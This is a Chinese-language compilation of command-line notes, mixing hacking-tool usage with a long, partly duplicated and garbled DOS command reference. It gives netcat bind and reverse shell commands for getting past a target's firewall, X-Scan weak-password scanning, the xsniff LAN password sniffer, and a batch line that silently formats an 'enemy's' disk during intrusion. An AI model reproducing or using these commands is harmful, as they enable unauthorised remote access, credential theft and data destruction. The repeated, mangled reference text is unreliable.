nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的
TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向
連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把
c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把
c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt >> d:log.txt 意思是:後台執行dir,並把結果
存在d:log.txt中

>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。

如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執行二次比較看:用>>的則
是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放端
口的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測"hostlist.txt"文件中列
出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

九:

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以
ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

H. DOS命令的循環執行

可以通過goto或%0實現循環. 1:通過goto循環: 在代碼最開始的一行加入 :start 然後在代碼的最後一行加入 goto start ,就可以實現循環. 2:通過%0循環: 在代碼的最後一行加入 %0 ,就可以實現無限循環. 注:最開始和最後的一行都是獨立的一行.以上兩種方法都可以實現無限循環.

I. DOS命令有哪些

DOS命令集:
DIR 命令的格式:
dir [D:][PATH][NAME][[/A][:attrib]][/[sorted][/s][/l][/c[h]

(1)dir /a:attrib 預設包含所有文件(系統文件.隱含文件)
attrib[:][h/-h]只顯示隱含文件或非隱含文件.
[r/-r]只顯示只讀文件或非只讀文件
[s/-s]只顯示系統文件或非系統文件
[a/-a]只顯示要歸檔文件或非歸檔文件

(2)/o[:]sorted:預設完全按字母順序,子目錄顯示在文件之前
/o[n/-n]:按字母順序或按文件名順序/反向顯示
[e/-e]:按擴展名字母順序/反向顯示
[d/-d]:按時間順序/反向顯示
[s/-s]:按大小從大到小或/反向顯示
[g/-g]:按子目錄先於文件或文件先於子目錄

(3)/s 參數:對當前目錄及其子目錄中所有文件進行列表
列名 ir /s/a/n c:\>PRN
將c盤上的所有子目錄和文件按隸屬關系並根據子目錄和文件字母順序列印輸出

(4)/B 參數:將只顯示文件名與擴展名

(5)/L 參數:將全部用小寫字母對文件或子目錄進行列表
訓練:
dir /a 列當前目錄所有文件(含隱含及系統文件)
dir /ah 列隱含文件(包含子目錄(隱含的) dir /a-h
dir /as 列系統文件 dir /a-s
dir /ad 列子目錄 dir /a-d
dir /o 按字母順序
dir /B 只顯示文件名與擴展名

二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]
預設 attrib name 顯示文件的(文件)屬性
attrib io.sys (或子目錄)
shr c:\ io.sys 指定為系統(s) 隱含(h) 只讀®文件
也可以attrib *.sys 顯示擴展名為sys的文件屬性
參數 [+r|-r] 將文件屬性設置或解除 只讀屬性
[+a|-a] 將文件屬性設置或解除 歸檔屬性
[+h|-h] 將文件屬性設置或解除 隱含屬性 (尤其對子目錄也起作用)
/s 參數 將當前及當前子目錄下的所有文件均起作用
可以用來查找文件
例子:
attrib news86 列news86的文檔屬性
attrib +r report.txt 設置為只讀 attrib -s -h record.txt
attrib +a a:*.*
attrib -a a:*.bak
x a: b: /a 將A盤上的所有標志為"歸檔"屬性的文件拷到B盤
x a: b: /m 將A盤上的所有文件拷到B盤後並移去歸檔屬性

三、cd 介紹: cd...返回上二級目錄 "."代表當前目錄 "."代表父目錄
cd ..\..返回到上級目錄的父目錄(祖目錄)
cd A:\ 將A盤的當前目錄改為根目錄
cd A:\xx 將A盤的當前目錄改為子目錄xx下
cd ..\98 先返回父目錄,再進入父目錄下的98子目錄
cd ..返回到父目錄
cd\98 進入根目錄下的98子目錄

四、 [/y][/-y][/v][ /B]
/y 不加提示,對所有文件加以覆蓋
/-y 加以提示,對所有文件 (yes或no提問 )
/v 拷貝以後加以校驗
/B 按二進制進行顯示
w1.wps con/b 可以將wps文件在屏幕上顯示,而不必進入wps狀態
..\98 將父目錄下的98子目錄下的所有文件全拷到當前子目錄
.\97 當當前目錄下的97子目錄下文件全部拷到當前目錄
. c:\ 將當前目錄下的所有文件拷到c盤根目錄
. 意味著 *.* 文件
nul a.abc 將a.abc 文件清空(文件長度改為0)
文件名+con 向文本文件中追加命令或內容
con 文件名 創建文本文件(F6存檔退出)
con prn 檢測列印機的開關

五、x命令
x [source] [d ate] [/p] [/s] [/e] [/v] [/y]
x [d ate] x a:b:\ /d:08/18/98/s/v 拷貝98.08.18年後的文件
x [/p] 提示創建子目錄
x [/s] 連帶子目錄一起拷貝. 注意:若目標盤上不存在此子目錄,而在目標
盤的結束符又不以"\"為結束,則將提示:
does destination specify a file name or directory name on the target
[f=file,d=directory]?
在目標盤上創建文件[按下]還是創建子目錄[按下d] ?應選擇d鍵
x[/v] 帶較驗
* 1) x 不拷貝系統和隱含文件,應先予以修改屬性再拷貝
x [/y] 覆蓋時是否有提示, /y 不帶提示
若省略目標盤或子目錄名,則拷貝到當前目錄下

六、 del /p
加/p 可以在刪除前是否提示
如del後加子目錄名,則將子目錄下所有文件(隱含.系統.只讀文件除外)全刪除,
加/p則可以確認.

七、undelete [name] /au
不加提示地將所有滿足條件的文件恢復(能夠恢復的),並將首字母置成"#",若已
存在,則按"# % & 0 1 2-9 a-z"順序加上.
如:undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭,作為文件
名, /list 僅列出可恢復的文件,而不恢復
undelete /load 將undelete裝入內存
/unload 將undelete卸出內存
/s[drive]對指定驅動器進行監測管理
undelete/sc
將 undelete駐留內存,?並創建一個隱含的sentry 子目錄對c盤刪除的文件進行
管理 undelete/ds 恢復
相應恢復命令可以用undelete即可完整恢復出文件名(非常完整)
最常用undelete *.*
deltree /y [drive ath]
deltree 刪除子目錄及文件,盡管有些文件是系統文件或隱含文件
它可以帶有通配符,帶有通配符時,它將刪除符合條件的文件及子目錄
如:?undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭作為文件
名.
/list 僅列出可恢復的文件,而不作恢復操作.
undelete/load 將undelete 裝入內存.
/unload將undelete 卸出內存.
/s[drive] 對指定的驅動器進行監視管理.
undelete/sc 將undelete 駐留內存,並創建一個隱含的sentry子目錄對C盤刪除
的文件進行管理.相應恢復命令可以用undelete/ds 即可完整恢復出文件名(很完善).
最常用的是undelete *.*

八、deltree /y [drive ath]
deltree 刪除子目錄及文件,盡管有些文件是系統或隱含的.
它可以帶有通配符,這時它將刪除符合條件的文件或子目錄.
如:存在L1文件,L2子目錄,L3文件,L4子目錄
deltree L*.* 將刪除以上所有的文件和子目錄,但在刪除前加以確認,若不刪除,
可以輸入"N".
/y 參數是在刪除時不加以確認就進行操作的.
它刪除的文件可以用undelete恢復,?但不能恢復子目錄及其下的文件,可以用特
殊工具.如NORTON 8.0 等.
若提前使用了undelete/s,?則可以在sentry子目錄下找到完整的文件,但名已經
改變了.

九、dos=high[|low[umb|noumb]]
dos=high,umb 則dos將自身裝入高端內存(high)並能管理上位內存(umb).
noumb 則不管理上位內存.
在寫入dos=high及umb 前應裝入device=himem.sys
為了將程序或驅動程序裝入上位內存,必須使用dos=umb,可省出大部分常規內存.
可以在config.sys的任何位置寫上dos=high,umb
若顯示hma not avoiable 或 load down low 則表明不能使用高端內存.

十、doskey 記錄以前敲過的dos命令,可以用F7來顯示,用"↑↓"來選擇,用F9來輸入
選擇的命令號.
doskey/restall 重新裝入一次,以前的命令行撤消.
doskey/history 顯示內存中所有的命令,可以">"顯示到其它文件中,縮寫"/H".
doskey dir=cls 則擊入dir等同於cls一樣.
doskey/macros 可顯示所有的宏定義,可使用">"重定義到文件中,可縮寫"/M".
doskey dir= 可撤消對dir 的宏定義.
doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*
$t為命令的區分符,而$*為命令的結束符
doskey/insert(overstrike)?在重新輸入命令時,對舊命令的修改是插入還是覆
蓋狀態(默認).

十一、emm386.exe
提供對擴展內存的管理,使應用程序象使用常規內存一樣能夠使用它.
常見的用法是 在config.sys 中
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
d=64 將DMA 內存數量設置為64K
noems 提供對上位內存的訪問,但不提供對擴展內存的訪問.
應注意的是在windows中最好不要用它,因為windows本身有對擴展內存進行管理
的程序.應採用windows中的管理器.

十二、fc 命令 fc/b dt.dat dt2.dat>b (作二進制代碼比較)
比較兩個文件,一般用作存取進度,修改游戲存儲文件用.
實際代碼位置應加上0100 如:0000 05E4:00 67
實際用debug -e 修改時應加上0100 即 0000 06E4:00 67
後面加上重定向文件">P" 可以將比較結果輸出到p文件中.

十三、format /q /u /s /n:sectors /f:size /c
/q參數:快速格式化,僅掃描文件分配表和根目錄區,僅對格式化過的磁碟有效.
使用時應確保格式化過後沒有增加新的壞道.
/u參數:無條件格式化,並且不保存原來盤上的信息,可以防止"unformat".
/s參數:格式化為系統盤,也可以使用"sys"命令.
/f:size size 可以為160 180 320 360 720 1200 1440 2800
/n:sector n可以為1 格式為單面盤,容量為160k 180k
可以為4 可以在5寸高密驅動器上格式化360k磁碟
可以為8 可以在5寸高密驅動器上進行8個扇區的格式化.
/c 重新測試壞扇區,預設時如果一個扇區標記為"壞",以後格式時就不在從新測
試,僅作標記,使用"/C"時可以從新測試.

十四、unformat 命令
對用format 格式過,且未用"/u"參數的命令起作用,用它可以來重新修復已經損
壞的硬碟分區表,但對網路盤不起作用.
unformat drive:[/l][/test][/p]
/l 顯示每一個被unformat發現的文件和子目錄,如果沒有這個開關,只顯示那些
破碎的文件和子目錄,可以用ctrl+s 暫停,按任意鍵繼續.
/test 僅作一個測試,不作實際的修復工作,作模擬過程.
/p 一邊測試一邊列印.
注:這種方法不能保證修復所有的文件,尤其是格式化後又添加過數據的磁碟.
恢復後的文件依次存放在subdir1....2....3等子目錄中.

十五、interlnk 語法 interlnk g=e ,它可以通過串口或並口在兩機間進行通訊.
將伺服器端上的e驅動器映射為客戶端的g驅動器,以後對客戶端而言,所有對g的
操作都意味著對伺服器的訪問,取消映射的辦法為interlnk g=
單獨輸入interlnk 則顯示所有的映射情況.
注意:interlnk 必須在裝入interlnk.exe 設備驅動程序才可以使用.
所用的驅動器符號與config.?sys中lastdrv.exe設置的數目有關.可以作一個一
端為25針,另一端為9針的串列線實現,具體接線方式如下:
5 - 7 2 - 15
3 - 2 3 - 13
7 - 4 4 - 12
6 - 6 5 - 10
3 - 3 6 - 11
8 - 5 15 - 2
4 - 20 13 - 3
9針 25針 12 - 4
10 - 5
11 - 6
25 - 25
25針 25針

十六、interlnk.exe 與intersvr.exe
interlnk.exe 重新定向對於客戶驅動器或列印介面的請求到另外的伺服器驅動
器或列印機.
語法:config.sys 中加入:
device=c:\dos\interlnk.exe [drive:n][/noprinter][com][lpt]

十七、memmaker[/batch][session][/swap rive]
使用memmaker能夠優化內存配置,?並將配置寫入autoexec.bat和config.sys中.
在這一過程中,需要重新啟動幾次機器.

十八、memitem memcolor memdefault submenu 菜單選項include
autoexec.bat 中如下: config.sys中如下:
path c:\dos;c:\ucdos [menu]
doskey menucolor=15,1(前景色15,背景色1)
\mouse\mouse menuitem=base_config,this is a base
goto %config% ->選擇項 menuitem=cced_config,this is a cced
選項 提示
:base_config menudefault=base_config,5
goto exit ->跳出 預設為base_config,延遲時間5秒
:cced_config [common]
c:\dos\smartdrv.exe /l device=c:\dos\himem.sys
goto exit 各項都包含的共同部分
:exit ->結束 [base_config]
device=c:\dos\emm386.exe ram
dos=high,umb
[cced_config]
device=c:\dos\smartdrv.exe/double_buffer
include=base_config 包含base_config設置
可以根據計算機的在不同情況下的配置要求來選擇.

十九、mscdex.exe 提供對光碟機進行讀寫的程序
mscdex/d rive [/D rive][/e][/k][/s][/l:letter]
典型:config.sys 中device=c:\cdrom\cdrom.sys /d:mscd000
autoexec.bat中 c:\dos\mscdex /d:mscd000 /l:g
配置了一個光碟機,符號為g
參數/d rive1為光碟機身份號,須與config.sys中的符號一致,可有多個
/d:mscd000 /d:mscd001
/e:使用擴展內存裝入光碟機驅動程序.
/s:使光碟機在ms_net或windows是否設置為共享光碟機
/V是否在載入時顯示內存.
/L:letter 分配給光碟機的盤符
/m:number 指定緩沖器的數目
應該注意的是:?如果用smartdrv.exe 加速對光碟機的讀寫能力,應該在autoexec.
bat中將mscdex.?exe 寫在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高
對驅動器的讀寫能力.

二十、msd的使用
使用msd 可以整體檢查計算機配置及系統信息
包括:?驅動器參數,計算機cpu參數,內存大小參數,顯示器類型,串.並口情況,以
及各個IRQ佔用情況,據此可以分析新增設備是否與原來設備有沖突.
同時也可以通過分析內存駐留程序,判斷內存中是否有病毒,有則標為"???".

二十一、prompt dos提示符
$q 等於號 $t 當前時間 $d 當前日期 $p 當前驅動器符號
$$ $號提示 $n當前驅動器 $g 大於號 $l小於號 $b 顯示"|"管道號
$h 隱去提示符 $E顯示"<-"號
對於其它文字,則直接顯示文本本身prompt ljw,則顯示為ljw提示符
prompt 則僅顯示當前驅動器號及大於號.

二十二、ramdrive.sys 使用內存當做虛擬盤來使用
應注意,所有數據都存在於內存中,應及時將其存到硬碟中,否則掉電後或者死機
後將丟失全部數據,優點是運行速度快,但不能在windows中使用.
示例:config.sys: device=c:\dos\ramdrive.sys /size[/e|a]
size為以k為單位的位元組數,即建立的虛擬盤的大小.
/e或/a 都是使用擴展內存來建立虛擬盤,?加參數的前提是必須先載入內存管理
器himem.sys及emm386.exe.

二十三、subst 將一個驅動器與一個子目錄聯接
如:將對A:\l1\l2 子目錄的請求映射為S盤,則輸入
subst s: a:\l1\l2 即可
這樣使用dir s:?等命令則顯示的是a:\l1\l2子目錄下的內容,其它 del 一樣
可以用subst s: d 來取消這種映射.
可以用subst 來顯示各種聯接情況
注意:?可以採用subst a: c:a 來建立一個對於A的讀寫盤.對於某些安裝軟體
來說,?必須使用A盤來安裝,就可以使用先將所要安裝的軟體全部拷貝到C:a子
目錄中,然後輸入subst a: c:a,再轉到A:,就可以進行軟體的安裝了.

二十四、mem /c /m /p /d 常規內存顯示程序
/c顯示所有內存駐留程序的佔用情況,分為conventional常規內存和uppermemory
高端內存佔用,並顯示總的佔用情況(常規 高端 保留 擴展內存)
/p分頁顯示,頁間暫停
/m後加模塊名 如:/m msdos 顯示dos系統內存的佔用.
/d對常規 高端 保留 擴展內存加以詳細例表說明
通過分析,可以看出內存佔用是否合理,以及各種程序是否正常載入,從而在此基
礎上使用內存優化工具memmaker進行各種管理,同時又可以分析出一些程序死機
的原因,若有的地方顯示"???",則可以斷定內存中有病毒的存在,有利於發現及消滅.

二十五、各種管道工具的使用"> < >> <<"
將各種命令造成的輸出或所需要的輸入重新定向
如 ir *.bat /b>p 可以將dir *.bat 例出的文件名輸出到p文件中.
time<p>>p.bat
p文件中僅存在一個回車符,則可以將時間追加進p.bat文件中
"> >>" 是將命令產生的輸出重新定向,比如到文件或列印機中.
>>產生的內容將追加進文件中,>則將原文件內容覆蓋.
"< <<" 是將命令所需要輸入的內容重新定向.
如:time<p 在批中可以是時間代碼或回車符,可以以此改變時間.
需要說明的是 "prn "為列印機, "null"為空設備
con 為顯示器
type p.bat>prn 可將p.bat列印出來.
null p 可將p文件刪除掉
con p 可以在屏幕上編輯p文件,F6可以存檔退出
type p>pp 完成p文件到pp 的復制
type p|more 可在屏滿時暫停顯示

二十六、move 命令
move [y/-y] filename1 filename2
將文件1移動到文件2處
如:move c:\dos\*.* c:\cced
將dos子目錄下的所有文件全部移動到cced 子目錄下
/y|-y參數在目標目錄不存在需要創建時,是否出現提示
可以使用該命令修改子目錄名稱,如 move dos cced
將dos目錄名改為cced

二十七、append 指定一些特殊數據文件的存放位置,如user.dat pe2.pro等一些非*.
exe *.com *.bat 文件
格式:append [:]終止以前存在的指定目錄 append 顯示指定情況
append [path] append c:\user 等

二十八、
call 在一個批處理命令中調用另外一個批處理文件
(1)不終止現有文件的運行,執行完掉用程序後立即返回.
(2)被調用批處理命令必須以bat 為擴展名
(3)調用批處理文件時,可以加上參數(%1-%9)以及環境變數如%baud%
(4)不能使用管道工具及重定向工具

二十九、device devicehigh loadhigh
device 將指定的設備驅動程序裝入內存中
devicehigh將指定的設備驅動程序裝入高端內存中
loadhigh 將指定的設備驅動程序裝入高端內存中

三十、defrag 優化磁碟
legend(傳奇) optimize(優化) elapse(逝去) fragment(碎片)
該命令執行對指定的盤進行優化處理(包括檢查文件分配表,各文件狀態,糾正錯誤),
在執行時,可按照文件名大小,時間,擴展名對文件進行排序.
DOS下命令
DIR 命令的格式:
dir [D:][PATH][NAME][[/A][:attrib]][/[sorted][/s][/l][/c[h]

(1)dir /a:attrib 預設包含所有文件(系統文件.隱含文件)
attrib[:][h/-h]只顯示隱含文件或非隱含文件.
[r/-r]只顯示只讀文件或非只讀文件
[s/-s]只顯示系統文件或非系統文件
[a/-a]只顯示要歸檔文件或非歸檔文件

(2)/o[:]sorted:預設完全按字母順序,子目錄顯示在文件之前
/o[n/-n]:按字母順序或按文件名順序/反向顯示
[e/-e]:按擴展名字母順序/反向顯示
[d/-d]:按時間順序/反向顯示
[s/-s]:按大小從大到小或/反向顯示
[g/-g]:按子目錄先於文件或文件先於子目錄

(3)/s 參數:對當前目錄及其子目錄中所有文件進行列表
列名 ir /s/a/n c:\>PRN
將c盤上的所有子目錄和文件按隸屬關系並根據子目錄和文件字母順序列印輸出

(4)/B 參數:將只顯示文件名與擴展名

(5)/L 參數:將全部用小寫字母對文件或子目錄進行列表
訓練:
dir /a 列當前目錄所有文件(含隱含及系統文件)
dir /ah 列隱含文件(包含子目錄(隱含的) dir /a-h
dir /as 列系統文件 dir /a-s
dir /ad 列子目錄 dir /a-d
dir /o 按字母順序
dir /B 只顯示文件名與擴展名

二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]
預設 attrib name 顯示文件的(文件)屬性
attrib io.sys (或子目錄)
shr c:\ io.sys 指定為系統(s) 隱含(h) 只讀®文件
也可以attrib *.sys 顯示擴展名為sys的文件屬性
參數 [+r|-r] 將文件屬性設置或解除 只讀屬性
[+a|-a] 將文件屬性設置或解除 歸檔屬性
[+h|-h] 將文件屬性設置或解除 隱含屬性 (尤其對子目錄也起作用)
/s 參數 將當前及當前子目錄下的所有文件均起作用
可以用來查找文件
例子:
attrib news86 列news86的文檔屬性
attrib +r report.txt 設置為只讀 attrib -s -h record.txt
attrib +a a:*.*
attrib -a a:*.bak
x a: b: /a 將A盤上的所有標志為"歸檔"屬性的文件拷到B盤
x a: b: /m 將A盤上的所有文件拷到B盤後並移去歸檔屬性

三、cd 介紹: cd...返回上二級目錄 "."代表當前目錄 "."代表父目錄
cd ..\..返回到上級目錄的父目錄(祖目錄)
cd A:\ 將A盤的當前目錄改為根目錄
cd A:\xx 將A盤的當前目錄改為子目錄xx下
cd ..\98 先返回父目錄,再進入父目錄下的98子目錄
cd ..返回到父目錄
cd\98 進入根目錄下的98子目錄

四、 [/y][/-y][/v][ /B]
/y 不加提示,對所有文件加以覆蓋
/-y 加以提示,對所有文件 (yes或no提問 )
/v 拷貝以後加以校驗
/B 按二進制進行顯示
w1.wps con/b 可以將wps文件在屏幕上顯示,而不必進入wps狀態
..\98 將父目錄下的98子目錄下的所有文件全拷到當前子目錄
.\97 當當前目錄下的97子目錄下文件全部拷到當前目錄
. c:\ 將當前目錄下的所有文件拷到c盤根目錄
. 意味著 *.* 文件
nul a.abc 將a.abc 文件清空(文件長度改為0)
文件名+con 向文本文件中追加命令或內容
con 文件名 創建文本文件(F6存檔退出)
con prn 檢測列印機的開關

五、x命令
x [source] [d ate] [/p] [/s] [/e] [/v] [/y]
x [d ate] x a:b:\ /d:08/18/98/s/v 拷貝98.08.18年後的文件
x [/p] 提示創建子目錄
x [/s] 連帶子目錄一起拷貝. 注意:若目標盤上不存在此子目錄,而在目標
盤的結束符又不以"\"為結束,則將提示:
does destination specify a file name or directory name on the target
[f=file,d=directory]?
在目標盤上創建文件[按下]還是創建子目錄[按下d] ?應選擇d鍵
x[/v] 帶較驗
* 1) x 不拷貝系統和隱含文件,應先予以修改屬性再拷貝
x [/y] 覆蓋時是否有提示, /y 不帶提示
若省略目標盤或子目錄名,則拷貝到當前目錄下

六、 del /p
加/p 可以在刪除前是否提示
如del後加子目錄名,則將子目錄下所有文件(隱含.系統.只讀文件除外)全刪除,
加/p則可以確認.

七、undelete [name] /au
不加提示地將所有滿足條件的文件恢復(能夠恢復的),並將首字母置成"#",若已
存在,則按"# % & 0 1 2-9 a-z"順序加上.
如:undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭,作為文件
名, /list 僅列出可恢復的文件,而不恢復
undelete /load 將undelete裝入內存
/unload 將undelete卸出內存
/s[drive]對指定驅動器進行監測管理
undelete/sc
將 undelete駐留內存,?並創建一個隱含的sentry 子目錄對c盤刪除的文件進行
管理 undelete/ds 恢復
相應恢復命令可以用undelete即可完整恢復出文件名(非常完整)
最常用undelete *.*
deltree /y [drive ath]
deltree 刪除子目錄及文件,盡管有些文件是系統文件或隱含文件
它可以帶有通配符,帶有通配符時,它將刪除符合條件的文件及子目錄
如:?undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭作為文件
名.
/list 僅列出可恢復的文件,而不作恢復操作.
undelete/load 將undelete 裝入內存.
/unload將undelete 卸出內存.
/s[drive] 對指定的驅動器進行監視管理.
undelete/sc 將undelete 駐留內存,並創建一個隱含的sentry子目錄對C盤刪除
的文件進行管理.相應恢復命令可以用undelete/ds 即可完整恢復出文件名(很完善).
最常用的是undelete *.*

八、deltree /y [drive ath]
deltree 刪除子目錄及文件,盡管有些文件是系統或隱含的.
它可以帶有通配符,這時它將刪除符合條件的文件或子目錄.
如:存在L1文件,L2子目錄,L3文件,L4子目錄
deltree L*.* 將刪除以上所有的文件和子目錄,但在刪除前加以確認,若不刪除,
可以輸入"N".
/y 參數是在刪除時不加以確認就進行操作的.
它刪除的文件可以用undelete恢復,?但不能恢復子目錄及其下的文件,可以用特
殊工具.如NORTON 8.0 等.
若提前使用了undelete/s,?則可以在sentry子目錄下找到完整的文件,但名已經
改變了.

九、dos=high[|low[umb|noumb]]
dos=high,umb 則dos將自身裝入高端內存(high)並能管理上位內存(umb).
noumb 則不管理上位內存.
在寫入dos=high及umb 前應裝入device=himem.sys
為了將程序或驅動程序裝入上位內存,必須使用dos=umb,可省出大部分常規內存.
可以在config.sys的任何位置寫上dos=high,umb
若顯示hma not avoiable 或 load down low 則表明不能使用高端內存.

十、doskey 記錄以前敲過的dos命令,可以用F7來顯示,用"↑↓"來選擇,用F9來輸入
選擇的命令號.
doskey/restall 重新裝入一次,以前的命令行撤消.
doskey/history 顯示內存中所有的命令,可以">"顯示到其它文件中,縮寫"/H".
doskey dir=cls 則擊入dir等同於cls一樣.
doskey/macros 可顯示所有的宏定義,可使用">"重定義到文件中,可縮寫"/M".
doskey dir= 可撤消對dir 的宏定義.
doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*
$t為命令的區分符,而$*為命令的結束符
doskey/insert(overstrike)?在重新輸入命令時,對舊命令的修改是插入還是覆
蓋狀態(默認).

十一、emm386.exe
提供對擴展內存的管理,使應用程序象使用常規內存一樣能夠使用它.
常見的用法是 在config.sys 中
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
d=64 將DMA 內存數量設置為64K
noems 提供對上位內存的訪問,但不提供對擴展內存的訪問.
應注意的是在windows中最好不要用它,因為windows本身有對擴展內存進行管理
的程序.應採用windows中的管理器.

十二、fc 命令 fc/b dt.dat dt2.dat>b (作二進制代碼比較)
比較兩個文件,一般用作存取進度,修改游戲存儲文件用.
實際代碼位置應加上0100 如:0000 05E4:00 67
實際用debug -e 修改時應加上0100 即 0000 06E4:00 67
後面加上重定向文件">P" 可以將比較結果輸出到p文件中.

十三、format /q /u /s /n:sectors /f:size /c
/q參數:快速格式化,僅掃描文件分配表和根目錄區,僅對格式化過的磁碟

J. 高分求一DOS命令

一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
